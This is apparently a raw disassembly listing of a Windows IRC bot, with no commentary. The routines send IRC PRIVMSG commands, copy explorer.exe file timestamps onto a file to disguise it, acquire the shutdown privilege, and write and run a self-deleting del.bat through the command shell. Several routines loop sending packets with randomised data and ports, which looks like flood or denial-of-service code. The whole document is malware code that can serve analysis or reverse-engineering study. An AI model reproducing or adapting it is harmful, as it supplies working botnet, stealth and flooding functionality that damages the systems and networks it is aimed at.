		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23


loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx


loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3


loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------


loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------


loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Cp
					; sub_40EE72+4AF5p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 267036Ah
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_100]


loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D


loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------


loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D


loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43AEC8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43AD68
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43AD88
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 2750758h
		push	esi
		mov	edi, eax
		call	near ptr 2750000h
		nop
		call	dword_43ADEC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43ADA4
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2760413h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 25B0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43ADF4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43ADF4
		push	ebx
		nop
		call	near ptr 2760000h
		push	edi
		nop
		call	near ptr 26508BEh
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------


loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax


loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2770622h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2770000h
		push	esi
		call	ebx


loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43ACE0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43AE68, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx


loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 27810F9h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2670000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2660000h
		nop
		push	edi
		nop
		call	near ptr 26508BEh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_436EDC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2730C00h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B0390h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 278100Fh


loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2770B6Ah


loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43AE1C
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43ACC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43AE14
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B


loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------


loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43AE14
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------


loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8


loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]


loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43AE10
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AD3C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43B0CC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------


loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43AD24
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43ADD8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_40AFE7


loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044


loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h


loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------


loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi


loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax


loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi


loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC


loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43ACBC
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086


loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43AE50
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h


loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43AE1C
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D5h


loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------


loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------


loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]


loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43AD98
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi


loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax


loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi


loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C


loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252


loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi


loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43ADFC
		push	[ebp+var_28]
		nop
		call	near ptr 2620494h
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43AD98
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------


loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h


loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D5h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43B0E4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi


loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43B0EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi


loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43B0E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi


loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4881p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43B0E8
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_436EDC
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	near ptr 2620494h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------


loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
